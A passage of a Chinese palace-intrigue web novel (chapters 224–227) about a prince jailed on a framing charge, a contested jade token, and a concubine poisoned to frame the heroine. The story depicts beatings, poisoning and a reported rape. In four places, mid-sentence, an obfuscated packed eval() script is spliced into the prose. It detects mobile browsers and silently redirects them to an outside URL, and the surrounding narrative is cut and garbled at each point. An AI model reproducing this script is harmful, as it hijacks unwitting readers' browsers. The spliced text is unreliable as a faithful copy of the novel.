“另外,”他将那枚侍卫的腰牌扔在桌上,发出清脆的撞击声,“把这个,连同那个纵火的瑞王府侍卫,一并送去大理寺。就说瑞王意图谋害本王,派刺客夜闯王府,**不成便纵火欲置本王于死地。让他务必严惩瑞王,给本王以及整个皇室,一个交代。” 凌风心头一凛:“王爷,此事若捅到大理寺,恐怕……宗人府那边……” “宗人府?”萧凌川冷笑一声,眼中的轻蔑不加掩饰,“宗人府只会用革职软禁这些不痛不痒的惩戒。如今太子还未登基,根基未稳,朝局动荡。本王今日若忍了,明日那些蠢蠢欲动的人,是不是就敢带兵踏平我景王府了? 本王要的不是一个道歉,而是要给这满朝文武,给所有心怀鬼胎的人,立一个规矩。让他们所有人都看清楚,动本王的人,是什么下场!” “是!属下遵命!”凌风领命而去。 此消息一出,满朝震动。 宗人府的宗正第一时间便想按惯例将此事揽下,试图将这场皇室“**”大事化小,小事化了。 却被萧凌川一句“此乃蓄意**,并非家事”堵得哑口无言。 各方势力眼看景王借题发挥,态度强硬,生怕引火烧身,纷纷噤声。 最终,在朝中景王拥护者的巨大压力下,此案被正式移交大理寺。 瑞王萧修湛,因涉嫌**手足,被直接从府中带走,关入了不见天日的大理寺天牢。 瑞王府内,当这个消息传来的那一刻,姜瑶真只觉得天旋地转,整个人都软倒在了椅子上。 姜姝宁到底和萧凌川说了什么,他竟如此绝情,把整个瑞王府逼上绝路! 她脑中一片混乱,将最近发生的所有事飞快地串联起来,忽然意识到一件事——她被算计了! 姜姝宁抛出诱饵,让她鬼迷心窍地去偷字画。 而萧凌川则像一张等候已久的巨网,在她的人闯入王府的那一刻,便立刻收网,当天就将人证物证都收集齐全。 他们合起伙来算计她! 恐惧过后,是满腔的恨意与不甘。 如今瑞王入狱,她这个王妃的好日子也到头了。 可她不甘心,她绝不甘心就这样沦为任人宰割的鱼肉! 她猛地攥紧了拳头,指甲深深嵌入掌心。 南月玉牌…… 那不仅仅是能证明她皇室血脉身份的信物,更是她掌控夜影阁、得到南月皇室支持的唯一钥匙! 是她翻盘的唯一希望! 想到这里,姜瑶真的眼中迸发出一种近乎疯狂的执念。 无论如何,她都要得到那枚玉牌!不惜任何代价! —— 大理寺天牢,阴冷潮湿的空气里混杂着腐烂稻草与泥土的气息。 当姜瑶真见到瑞王萧修湛时,差点没能认出眼前这个形容枯槁、满身污秽的男人。 谁能相信一年前最受宠、最有可能继承皇位的皇子,如今像条丧家之犬,蜷缩在牢房的角落里,身上散发着浓重霉味。 看到她来,萧修湛那双浑浊的眼珠才迟缓地动了动。 姜瑶真她强压下喉间的不适,开门见山道:“殿下,妾身今日前来,是想请你帮忙。” 萧修湛低哑地笑了起来,笑声里满是自嘲:“本王如今这副模样,还能帮你什么?王妃,你不要再给本王添麻烦了行吗?算本王求你了!” 萧凌川故意将所有罪都推到他一个人头上,从一开始就只对准了他这个唯一的命门,准备断了瑞王府所有生机! 而将这个机会送到他手里的,恰恰是她这个瑞王妃! 姜瑶真懒得与他废话,声音冷了几分:“殿下,姜姝宁当初去南朔城,此事你可知晓?” 一提到“姜姝宁”,萧修湛眼中瞬间燃起怒火,他猛地从地上撑起身子: “本王当然知道!若不是她带着医者前去救援,萧凌川那个杂种早就死在南朔城了,哪还有今日的威风!” 姜瑶真连忙追问道:“那她此行,可见了什么特别的人?或者,从南朔城带了什么东西回来?” “本王派人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968881|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是去盯萧凌川的,谁有功夫管她!”萧修湛显得极不耐烦,但随即又像是想起了什么,补充道,“不过,她回程时为了避嫌,没有和景王一起回来,而是绕路去了趟徐州。” “徐州?”姜瑶真心中一动,“她去徐州做什么?” “谁知道,”萧修湛厌烦地挥了挥手,“听眼线回报,似乎是……去祭拜了什么人。” 祭拜? 除了她姨娘空荡荡的坟墓,整个姜家在徐州,根本没有第二个需要祭拜的地方! 难道……姜姝宁亲眼目睹了姨娘的死,所以她才会特意去祭拜? 还是说,她发现那个坟墓是空的,专程去确认? 姜瑶真越想越不安。 不行,她必须立刻去一趟徐州! 她要去亲眼看看,那座坟,到底有没有被动过! 瑞王府,死寂如坟。 姜瑶真躺在床上,辗转难眠。 她随意披了件大氅,提着一盏灯笼,在这座已经失去主人的空寂王府中,漫无目的地游荡。 就在这时,一片死寂的黑暗中,一豆昏黄的光,鬼魅般地从远处一个偏僻的院落里透了出来。 那是姜贵妾的住处。 这么晚了,她怎么还没睡? 姜瑶真悄悄走过去,听到里面传来说话声: “大姐姐真好,哪怕我算计了她,她也还是想帮我脱离苦海,派人送来了这假死的草药……”姜莲的声音里透着感激和愧疚。 “姜贵妾,那你要不要吃这个草药,假死出府?”伺候她的婢女问。 “算了,如今瑞王下了大狱,暂时没人折磨我了。这药……我再想想吧。毕竟,假死之后便要隐姓埋名地活着,也不是件易事……” 姜莲的话还没说完,房门忽然被人从外面踢开。 屋内的两人发出惊恐的尖叫,骇然回头。 只见姜瑶真提着灯笼,如同一尊从地狱里走出的罗刹,赫然立在门口。 灯笼的光从下往上,将她那张因嫉妒与疯狂而扭曲的脸照得惨白可怖。 “姜贵妾,你好大的胆子,竟敢背叛本宫!” 第224章 得而复失的玉牌 第二百二十四章得而复失的玉牌 姜莲脸色惨白,连连叩拜求饶,声音因恐惧而颤抖:“王妃,妾身知错了,妾身不该起那假死的心思,求王妃开恩……” 姜瑶真冷笑一声,眸底燃烧着熊熊的怒火和失控的癫狂。 “想走?当初是谁死皮赖脸要嫁给瑞王当妾,妄图飞上枝头变凤凰?如今见瑞王即将倒台,你就迫不及待地想撇清关系了?真是养不熟的白眼狼!” 来人!给本宫拖下去打!本宫倒要看看,谁敢在这节骨眼上,丢弃瑞王府,去过自己的好日子!” 几个五大三粗的嬷嬷被唤来,不由分说地将哭喊着求饶的姜莲拖了下去。 深夜里凄厉的惨叫声在瑞王府的上空回荡,一声声都像是直接抽打在其他妾室的心头。 恐惧像潮水般迅速蔓延,将她们心中那丝逃离王府的念头清除得一干二净。 姜莲被打得皮开肉绽,血肉模糊。 伤口在浸透的衣襟下开始流脓,剧烈的疼痛和高烧让她意识模糊。 姜瑶真不许府医她送药,任由她在这黑暗的绝望中自生自灭。 第二日一早,姜瑶真便匆匆离开了瑞王府,踏上了前往徐州的行程。 伺候姜莲的婢女不忍心眼睁睁看着自家主子**,偷偷溜出王府,一路奔向了姜府,将此事告诉了姜姝宁。 “姜姑娘,不好了!我家主子被王妃打了个半死,伤口都化脓发烧了,若再不上药,怕是熬不过今晚了!” 姜姝宁一听,心头猛地一沉。 她对姜莲有亏欠,做不到见死不救。 “药我这里有,但若伤势真的严重,恐怕还需要施针。不知我是否方便去瑞王府一趟?” “方便的!”婢女急忙回答,“王妃娘娘今早就去了徐州,如今府里无人看管,外面的人应当很容易进府。” 姜姝宁的眉心不由得一跳,心中泛起一丝不安:“她去徐州做什么?” 婢女摇了摇头:“奴婢也不知。” 姜姝宁连忙转身吩咐凌芜:“你骑快马去趟徐州,将我姨娘坟前朝西方向埋下的木盒挖出来!绝不能让里面的东西落入瑞王妃之手!” 那木盒里藏的,可是真正的南月玉牌。 “是,大小姐!”凌芜领命,身影如风般消失。 姜姝宁看着她离去的方向,这才强行压下心中的惊涛骇浪,转身对那婢女道:“走吧,先去救人。” 她不知道的是,凌芜离开姜府后,却并未直接奔赴城门,而是熟练地绕进一条僻静小巷,直奔景王府。 “王爷,”她将姜姝宁的嘱咐一字不差地复述,“大小姐似乎有极为重要的东西藏在徐州她姨娘的坟前,情势紧急,命属下立刻去取,还强调说不能落到瑞王妃手中。” 书房内,萧凌川正慢条斯理地品着茶,闻言,连眼皮都未曾抬一下: “不必去了。本王的人已跟着瑞王妃一路南下。无论她从那座空坟里带出什么,最终都会落到本王手里。” “那属下……” “你只需在城外转一圈,然后回去告诉姜姑娘,就说东西……被一伙不明身份的人马抢了。” “是,王爷!” 凌芜退下后,萧凌川唇角勾起一抹极尽冰冷的弧度。 姜瑶真,你派人潜入景王府真正想偷的东西,终于要浮出水面了。 另一边,瑞王府内。 姜莲身上本就有伤,如今更是伤上加伤,气息奄奄。 姜姝宁耗费了近两个时辰,施针、清创、敷药,才堪堪将她从鬼门关拉了回来。 她擦去额角的薄汗,对一旁的婢女嘱咐道:“我稍后会派人送来几服药,你记得按时为她熬煮服下,好生将养着,性命应是无虞了。” “可是……瑞王妃不准姜贵妾服药,怕是没法熬煮了。”婢女为难道。 “如此,那我便将煎好的药放在药罐里,直接送来给你好了!” “多谢姜姑娘!”婢女跪在地上,感激涕零,“若不是您,主子她……” “起来吧,”姜姝宁扶起她,“她是我三妹,我自然要救她。倒是你,与她并无血缘,却能拼死相护,才是真正待她好。” 婢女千恩万谢地将姜姝宁送出瑞王府的侧门。 夜色渐浓,姜姝宁心事重重地踏上归途,却未曾留意,在不远处的回廊拐角阴影里,一双淬满了怨毒的眼睛,正死死地盯着她的背影。 那是姜瑶真的贴身婢女,春花。 —— 姜瑶真抵达徐州时,恰逢一场封天锁地的大雪。 折腾了几个时辰才抵达她姨娘坟墓所在的那座山。 从守山人那里,她用几锭银子就问出了自己想要的答案——数月前,确实有一位贵小姐独自上山,停留了许久。 时间,正好与南朔之战对得上! 姜瑶真冷笑起来,她不信姜姝宁会好心来祭拜一个“已故”多年的姨娘! 她来这里,只可能为了一个目的——藏东西。 在姨娘那座孤零零的坟茔前,姜瑶真指使着雇来的几个壮汉用铁铲凿开冻得如同顽石般的土堆:“只要能挖到我想要的东西,必定重重有赏!” 不知过了多久,在无数次令人心焦的空响后,铁铲终于磕到了一个硬物。 “夫人!找到了!” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968882|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶真几乎是扑了过去,亲手从泥土里刨出了那个覆盖着冰的木盒。 她颤抖着手,猛地将盒盖掀开—— 盒中,一块晶莹剔透、流光内蕴的玉牌正静静地躺着。 就是它! 她一把将玉牌攥入掌心,冰冷坚硬的触感此刻像是滚烫的烙铁,瞬间点燃了她心中积压的所有怨毒与疯狂。 回去的路上,马车在风雪中颠簸。 姜瑶真坐在昏暗的车厢内,紧紧攥着那块玉牌。 原来,姨娘真的将这玉牌给了那个姜姝宁**! 而那个**,拿着本该属于她的东西,不仅不还,还反过来设下圈套,和景王一起联手,害得瑞王被牵连入狱! “姜姝宁,这笔账,我早晚要和你算!” 就在这时,马车猛地一个剧烈颠簸,被迫停在半路上。 车外,刀剑交击与入肉的闷响只持续了短短数息,便陷入了一片死寂。 车帘猛地被一把染血的利剑掀开,一个浑身散发着煞气的蒙面黑衣人,如鬼魅般出现在她面前。 “把你从坟里挖出来的东西,交出来!” 话音刚落,冰冷的剑锋已经抵在了姜瑶真的脖颈上。 “你……你们是姜姝宁派来的?”姜瑶真浑身抑制不住地颤抖,却仍死死护着手中的东西,色厉内荏地尖叫,“凭什么!这是我姨娘留给我的遗物,她凭什么来抢!” 黑衣人眼底闪过一丝不耐,手腕微沉,锋利的剑刃瞬间划破了她的肌肤,渗出细密的血珠。 那冰冷刺骨的痛感让姜瑶真瞬间清醒。 她战栗着,从袖中取出一物,哆哆嗦嗦地递了过去:“我给……我给你!” 然而,黑衣人只瞥了一眼,便猛地伸手夺过,毫不犹豫地在车壁上狠狠一磕! “咔嚓”一声,玉牌应声碎裂。 “我的耐心,”黑衣人缓缓逼近,声音愈发森寒,“只够你耍一次花招。下一次,碎的就不是它了。” 姜瑶真如坠冰窟,头皮阵阵发麻。 方才给的是她之前让人仿制的假玉牌,本想糊弄过去,没想到竟被一眼识破。 他们……见过真的南月玉牌! 为了保命,她最终只能将那枚她刚刚才失而复得、还带着她体温的真正玉牌,递了上去。 黑衣人确认无误后,便带着人消失在了茫茫风雪中。 姜瑶真瘫坐在冰冷的车厢里,心中的不甘化成怨恨,直指向姜姝宁。 若不是姜姝宁将玉牌藏起来,她何至于冒雪前来寻找,寻到之后,又何至于被人夺走,空欢喜一场?! 姜姝宁,我不会放过你的! 第225章 姜莲之死 第二百二十五章姜莲之死 深夜,凌风冒着风雪,快马加鞭回京城,将南月玉牌送到萧凌川面前。 “王爷,属下已从瑞王妃手中截获此物。经确认,这便是她从徐州那座南月细作的孤坟前,亲手挖出的东西。” 萧凌川难以置信地看着这枚玉牌,下意识去找右下角灵犀草纹路里的那抹沁入玉石肌理的红——那是他生母血液沾染到的。 果然,那抹红还在。 是他生母的玉牌! “这块玉牌,是姜瑶真藏在徐州的?” 凌风摇了摇头:“看样子不像。她不确定具体埋在哪里,是雇了几个壮汉挖出来的。” 萧凌川神色阴沉。 若不是姜瑶真藏的,那便是姜姝宁藏的。 那就意味着,在南朔营帐的那晚,她不仅目睹了花莲的惨死,还在此之前从花莲手里拿到了这块玉牌。 所以,花莲究竟跟姜姝宁说了什么? 让她对自己如此……避之不及。 —— 姜瑶真回府时,已是翌日。 她一踏进内院,春花便立刻迎了上来,压低声音禀报:“王妃,您不在的这一日,大小姐她……来过了。她给姜贵妾医治了伤处,姜贵妾的婢女昨日还出府去,从她手里拿了汤药回来。” 听完这话,姜瑶真忽然极轻地笑了一声。 “本宫还在想如何对付她,她倒是自己送上门来了。既然她那么喜欢显摆她的医术,本宫就帮她一次,让她‘名扬’整个京城!” 她凑到春花耳边,低声吩咐了几句。 春花的眼中闪过一丝狠厉,随即躬身退下:“是,奴婢明白。” 下午,姜莲的婢女从府外回来,手里小心翼翼地捧着一个食盒。 昨日施针用药后,姜莲的身子确实好了许多,只是伤口依旧牵扯着疼,让她没什么食欲。 婢女从食盒里拿出药罐,将药汤倒入早就备好的瓷碗中。 “姜贵妾,这是大小姐亲自熬的药,喝完这几日,您定能好起来。” 姜莲苍白的脸上露出一丝真切的感激:“若不是你们,我这条贱命,怕是早就没了。” “姜贵妾快别这么说,”婢女舀了一勺汤药递到她唇边,“快喝药吧,凉了药效就差了。” 姜莲才喝了几口,一股绞痛猛地从腹中炸开,喉头瞬间涌上灼热的铁锈味! “噗——” 一口黑红色的血,猛地喷在了雪白的被褥上,触目惊心。 “姜贵妾,你怎么了?”婢女吓得魂飞魄散,手里的药碗“哐当”一声摔得粉碎。 姜莲死死抓住婢女的手,用尽最后一丝力气嘶吼:“药……有毒!快……去……找大姐姐……” 话音未落,房门“吱呀”一声被推开。 姜瑶真带着几名侍卫,施施然地站在门口,脸上挂着悲悯的微笑,仿佛在欣赏一出早已写好结局的戏剧。 她故作关切地问:“姜贵妾,你这是怎么了?莫不是**了?” 姜莲瞬间什么都明白了。 她拼尽最后一丝力气,抬起颤抖的手,死死指向姜瑶真:“是……你……” 话还未说完,她便栽倒在床上,一双眼睛睁得大大的,死不瞑目。 “姜贵妾!”婢女撕心裂肺地哭喊起来。 姜瑶真脸上闪过一丝嘲讽的笑意,她厉声指向那哭喊的婢女: “来人!把这个下毒谋害主子的贱婢给本宫拿下!立刻将她送往大理寺严审!本宫倒要看看,究竟是谁指使她,干出这等丧尽天良之事!” 瑞王府贵妾深夜暴毙,死于剧毒。 这消息如插上翅膀,一夜之间传遍了京城。 始作俑者姜瑶真换上一身素服,在大理寺卿面前哭得肝肠寸断。 “大人!您可一定要为臣妾,为我们整个瑞王府做主啊!”她双目红肿,神情悲切,“王爷尚在狱中含冤,府中便遭此毒手……这分明是要将我们瑞王府赶尽杀绝啊!” 她的表演天衣无缝,而大理寺的调查结果更是“铁证如山”。 药罐残渣中验出了剧毒**。 下毒的婢女早已吓得魂不附体,一五一十地招认,药是相府大小姐姜姝宁亲手所熬,亲手所赠。 人证、物证俱在,所有线索,都无可辩驳地指向了同一个人。 大理寺卿自知此事蹊跷,也知道姜姝宁在宁王心中的分量,连夜将此事告知荣太妃。 “不可能!” 福禄宫内,萧怀瑾听到大理寺卿的禀报,脸色铁青,“她若要害人,何必用自己熬煮的汤药,留下如此明显的把柄?这分明是有人故意栽赃陷害!” 荣太妃轻轻按住他的手,叹了口气:“瑾儿,母妃也信她。但如今这局势……景王正盯着瑞王一案,大理寺的一举一动,满朝文武都在看。这时候若有偏袒,怕是会授人以柄。” 大理寺卿立刻躬身,一脸的为难与凝重:“太妃娘娘圣明。如今正是风口浪尖,臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“春花,你也曾是姜家人,姜莲她究竟哪里得罪了你,你要帮着这个蛇蝎心肠的女人,害死一条无辜的人命?!” 面对质问,春花脸上非但没有丝毫愧疚,反而勾起一抹阴冷的、充满快意的笑。 “大小姐,您说错了。姜贵妾从未得罪过奴婢。让奴婢恨之入骨的,从始至终,就只有你一个。” 第226章 赝品从何而来? 第二百二十六章赝品从何而来? 作为瑞王妃的陪嫁丫鬟,春花在这瑞王府下人中的地位算高的,虽然宋嬷嬷的死给了她不小的阴影,但也让她从此谨慎起来,在府中愈发如鱼得水。 可自从瑞王萧修湛手臂废了之后,这瑞王府便成了人间炼狱。 瑞王性格变得极其残暴可怖,他不仅折磨后院的妾室,还随意打骂糟践府中的下人。 一天夜里,喝得醉醺醺的瑞王摸到了瑞王妃的寝室,不停地拍门要求进去。 姜瑶真吓得花容失色,一把将春花推到门前:“去,想办法把他支走!让他去别的院子!” 春花心中叫苦,却不敢违逆。 她战战兢兢地打开一条门缝,劝道:“殿下……王妃她……身子不适,您看……” 门被猛地撞开,浓烈的酒气扑面而来。 萧修湛猩红的眸子死死盯着她,脸上勾起一抹狰狞的笑。 “她不方便?”他一把攥住春花的手腕,力道大得几乎要将她的骨头捏碎,“既然王妃不方便,那今晚就由你这个陪嫁丫鬟来伺候本王!” 说完,不由分说地将她拖到了一墙之隔的偏房。 那晚,成了春花一生挥之不去的噩梦。 她在撕心裂肺的痛苦中,隐约听到卧房内,自家王妃长长地松了口气。 第二天,姜瑶真来了。 她看着躺在床上浑身青紫、如同破碎瓷娃娃般的春花,眼中带着恰到好处的怜悯与心疼。 “春花,委屈你了。”她握住春花冰冷的手,幽幽叹息,“要怪就只能怪我那个姐姐,若不是她在画舫上不知廉耻地勾引瑞王殿下,殿下又怎会被景王算计,以至于一只胳膊废了,性情大变至此?” 她的话语像毒蛇,精准地钻进春花混乱的脑海里。 “本想给你个名分,可如今王爷这般……若给了你名分,才是真正将你推入火坑啊。”姜瑶真擦拭着眼角的湿意,“你放心,本宫会让你好生休养。说到底,你我如今受的这些苦,都是拜姐姐所赐,本宫也无能为力。” 一瞬间,所有的**、痛苦与绝望,仿佛都找到了源头。 春花不敢恨高高在上的王爷,更不敢怨牺牲了自己的主子。 于是,那深入骨髓的恨意,便找到了宣泄的出口,死死地钉在了“姜姝宁”这三个字上。 ——是她!如果不是她,瑞王就不会残废,自己就不会被糟蹋,王妃也不用终日惶恐! 一切都是她的错! 所以,当她看到姜姝宁为姜莲送药时,那压抑已久的怨毒,终于找到了报复的契机。 她要让那个始作俑者,也尝尝坠入地狱的滋味! 姜姝宁对春花所经历的这一切一无所知,她只觉得难以置信。 原来恨一个人,真的可以到草菅人命的地步。 她还没从这刺骨的寒意中回过神来,姜瑶真已经款款走近,脸上是毫不掩饰的得意。 她凑到姜姝宁耳边,用只有两人能听到的声音,如毒蛇吐信般轻语: “姐姐,用瑞王府一个贱妾的命,换你身败名裂,这笔买卖,本宫觉得很值。” 姜姝宁遍体生寒。 她终于明白,在姜瑶真眼中,无论是姜天恩还是姜莲,他们与路边的蝼蚁、脚下的枯骨并无分别——都不过是她用来铺路的垫脚石,可以随时被毫不犹豫地舍弃和碾碎。 见姜姝宁这幅模样,姜瑶真嘴角的笑意更深了,终于图穷匕见: “当然,本宫可以给你一条活路。把你昨天从我手上劫走的南月玉牌还给我,我就告诉大理寺卿,下毒的另有其人。” “南月玉牌如今不在我手上!”姜姝宁冷声道。 “除了你,还有谁知道那玉牌,会在半路设伏!姜姝宁,我劝你想清楚,这块玉牌在你手里毫无用处,但你不交出来,就别指望能洗清**罪名!” 姜姝宁沉默不语。 这世上除了姜瑶真,还有一个人,对那块玉牌抱着同样深的执念。 一个有能力在官道上神不知鬼不觉地劫走证物,并且对玉牌的真伪了如指掌的人——萧凌川。 若玉牌真的落入了萧凌川手中,前世那场通敌叛国、颠覆江山的祸事,说不定会再次上演。 —— 大理寺的监牢阴暗潮湿,姜姝宁被带到了一间格外不同的牢房。 这里没有腐臭的霉味,石壁干燥,甚至还燃着一盆暖融融的炭火。 床榻上铺着崭新的被褥,干净得不像囚室,反倒像一间简陋的客房。 狱卒态度恭敬:“姜姑娘,您暂且在此歇息。寺卿大人说了,绝不会让您受半点委屈。” “有劳大人。”姜姝宁感激地行了个礼。 当夜,牢中的炭火烧得正旺,她睡得安稳。 而高墙之外的宁王与景王,却无法安睡。 萧怀瑾立于窗前,看着天边墨色的云,心中的盘算已经有清晰的脉络。 如今,万事俱备,只欠她点头。 此刻的萧凌川,周身的气压低得骇人,一脚踹开大理寺的侧门,立马被大理寺卿亲自带人拦下。 “王爷,夜闯大理寺,于理不合。”大理寺卿面无表情,语气却无比强硬。 “本王要见姜姝宁。”萧凌川的声音像是从齿缝里挤出来的。 “按律法,案情查明前,任何人不得探视重犯。” “重犯?”萧凌川怒极反笑,眼中的寒意几乎要将人冻结,“大人,你最好说清楚,究竟是谁不准本王见姜姝宁,是律法,还是宁王?” 大理寺卿的眼皮跳了一下,但依旧寸步不让:“臣只认大邺的律法。王爷请回吧。” 萧凌川死死盯着他,最终猛地拂袖而去。 第二日,他径直去了一趟东宫。 明日便是登基大典,整个东宫都笼罩在一种紧绷而肃穆的氛围里。 萧凌川的到来,更像一头闯入祭典的凶兽,身上那股毫不掩饰的煞气,瞬间冲散了殿内的平静和庄严。 他甚至懒得行礼,直接踏入殿中,目光如刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972087|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直刺向那个即将成为九五至尊的男人。 “明日你登基称帝,就下一道圣旨,赦免姜姝宁无罪。” 这不是请求,是命令。 萧政贤精心维持的储君仪态几乎瞬间崩裂,他眉头紧锁:“四弟,姜姝宁一案大理寺自有公断……” “公断?”萧凌川冷笑一声,打断了他,“如今所有罪证都指向她,公断的结果,就是她死。本王的话,你听不懂么?” 大理寺卿是崔家的人,就算姜姝宁真能洗清冤屈,也是卖给荣太妃和萧怀瑾一个人情罢了。 他萧凌川的女人,凭什么去欠萧怀瑾的人情债?想都别想! “你!”萧政贤猛地从座位上站起,身躯因愤怒而微微颤抖。 他虽一出生就被封为太子,可因母族式微、身体孱弱的缘故,长期以来一直活在弟弟们的锋芒之下。 明日他便是大邺名正言顺的皇帝了,如今还要被这景王身份的四弟颐指气使,心中一阵愤懑。 “四弟,你休要放肆!明日孤便是天子,岂能容你这般颐指气使!” “天子?”萧凌川往前逼近一步,周身散发出的森然气场,竟让那位准皇帝下意识地后退了半步。 “大哥,你觉得,若本王反对,你这龙椅……坐得稳吗?” 这句轻描淡写的话,却如同一记重锤,狠狠砸在萧政贤心上。 朝堂之上,谁是太子党,谁又是景王的人,他比谁都清楚。 若萧凌川真要反,他这名正言顺的太子,根本不堪一击。 “你……你在威胁孤!”萧政贤的声音已经带上了颤音。 就在此时,太子妃顾晚樱满面寒霜地冲了出来,她护在萧政贤身前,仿佛一只炸了**的护崽母鸡。 “景王,你别太过分!” 她摊开手心,一枚玉牌赫然躺在掌中。 “你看这是什么?只要你安分守己,别在太子哥哥登基时作乱,这块玉牌,就是你的了!” 萧凌川的目光落在那玉牌上,眼底的滔**火倏然凝固,化为一片死寂的冰海。 顾晚樱见他神色骤变,以为拿捏住了他的软肋,心中一喜,正要继续开口。 “赝品。” 萧凌川只吐出两个字,声音不大,却让顾晚樱当场愣住了。 他缓缓抬起手,一枚温润通透的玉牌从他指间垂落,轻轻晃动。 那玉质中的一点灵犀草血沁,在灯火下流转着诡异的红光,衬得顾晚樱手中那块黯淡无光。 “这个,”他慢条斯理地说,“才是真的。” 顾晚樱的脸瞬间血色尽失,她难以置信地看着自己手中的“石头”,又看看萧凌川手中那块过分剔透的宝玉,脑中一片空白。 姜姝宁不是说这块玉牌能拿捏萧凌川吗? 怎么跟预想的不一样? 萧凌川收起玉牌,目光却像鹰隼般死死锁住了她,语调陡然转为阴沉的审问: “太子妃,本王倒想问问……你这块赝品,是从何而来?” 第227章 假死脱身 第二百二十七章假死脱身 顾晚樱下意识地将那块赝品攥得更紧,她迎着萧凌川的目光,声音里却带着自己都未察觉的颤抖:“我不会告诉你的!景王,你休想在太子哥哥的登基大典上作乱!” “太子妃,你弄错了一件事。本王不是在与你商量。”萧凌川慢条斯理地开口,每一个字都像一块冰,砸在对方心上,“本王是在给你们一个选择的机会。说出这东西的来历,本王保证明日的登基大典,定会风平浪静。” 顾晚樱试图为自己的夫君争取最后的筹码:“……你若承诺不影响明日的登基大典,太子哥哥登基后,定会立刻下旨,赦免姜姑娘的罪!” “晚樱!”萧政贤厉声开口,“孤乃大邺储君!岂能拿国之律法做交易!若法度可被随意动摇,孤当这个皇帝,还有何意义!” 这番话,他说得慷慨激昂,却换来一声不屑的轻嗤。 “大哥,”萧凌川的目光转向他,那眼神里没有了先前的怒火,只剩下纯粹的、居高临下的蔑视,“你若真这么有骨气,本王现在就可以成全你。只不过,若换了本王坐上那个位子,行事只会比现在……更随心所欲。” 他从未把萧政贤放在眼里。 前世的萧政贤就是个药罐子,坐上龙椅没多久就成了个名存实亡的摆设。 今生,朝野上下都是他和太皇太后的人,要从一个病秧子手中夺权,易如反掌。 “你……”萧政贤眼中的光芒瞬间熄灭,所有硬撑起来的骨气轰然倒塌。 他像是被抽走了所有力气,每一个字都从牙缝里挤出来,“好,孤答应你,会下一道圣旨赦免姜姑娘的罪。但仅此一次!” 殿内死一般的寂静。 顾晚樱刚刚松了半口气,以为这场让人胆战心惊的谈判终于结束了。 可萧凌川的目光却再度落回她身上,那眼神冷得让她如坠冰窟。 “不过,本王现在改变主意了。赦免姜姝宁的圣旨,本王不稀罕了。”萧凌川的声音平静得可怕,“本王现在只想知道,这块假的玉牌,究竟是谁给太子妃的。” 在他有如实质般目光的逼视下,顾晚樱终于承受不住压力,和盘托出: “是……是姜姑娘给我的。” 空气在这一刻仿佛瞬间凝固了。 萧凌川脸上的所有表情瞬间褪去,只剩下一种诡异的空白。 片刻后,一抹极轻、极冷的笑意在他唇边浮现,那笑意里带着无尽的自嘲与刺痛。 他像是问她,又像是在问自己,声音轻得几不可闻: “她说用这个,就能掣肘本王,对么?” 顾晚樱被他此刻的神情吓得不敢作声,甚至不敢直视他脸上的表情。 那是一种……被最在意的人从背后捅了一刀的,难以置信的痛楚。 萧凌川没有再等她的答案。 他转身,决然而去,那背影里带着一种被全世界背叛的、滔天的孤寂。 马车内,空气仿佛冻结。 凌风见自家王爷紧握着那枚真正的南月玉牌,指节因用力而泛白,手背上青筋暴起,心里一阵难受。 良久,他才鼓起勇气,打破这死寂:“王爷,我们……还救姜姑娘吗?” 方才他一直陪在他家王爷身边,亲耳听见太子妃告知王爷,赝品南月玉牌是姜姑娘给他们的,用来牵制他们王爷。 其实王爷应该早就猜到,能拿出赝品玉牌、又想以此掣肘他的人,除了姜姑娘,再无旁人。 可猜测是一回事,亲耳证实又是另一回事。 被倾心相待的女子这般在背后递刀,那滋味,想必不好受吧? 可怜的王爷。 萧凌川没有看他,只是发出一声极轻的、近乎自嘲的嗤笑。 “当然要救,难道眼睁睁看着她死吗?还是说,把救她的机会留给五弟,让她顺理成章地投入五弟的怀抱,对他感恩戴德?想都别想!” 最后一句话,带着几分咬牙切齿的意味。 凌风心中一凛,他知道,王爷彻底被激怒了。 下一刻,萧凌川闭上眼,再睁开时,眼底已是一片沉寂的疯狂。 “去夜影阁。” 当萧凌川带着凌风踏入夜影阁藏身之处时,数道森然的剑气瞬间将他们锁定。 为首的阁主寒影声音冷得像冰:“不知阁下来此有何贵干?” 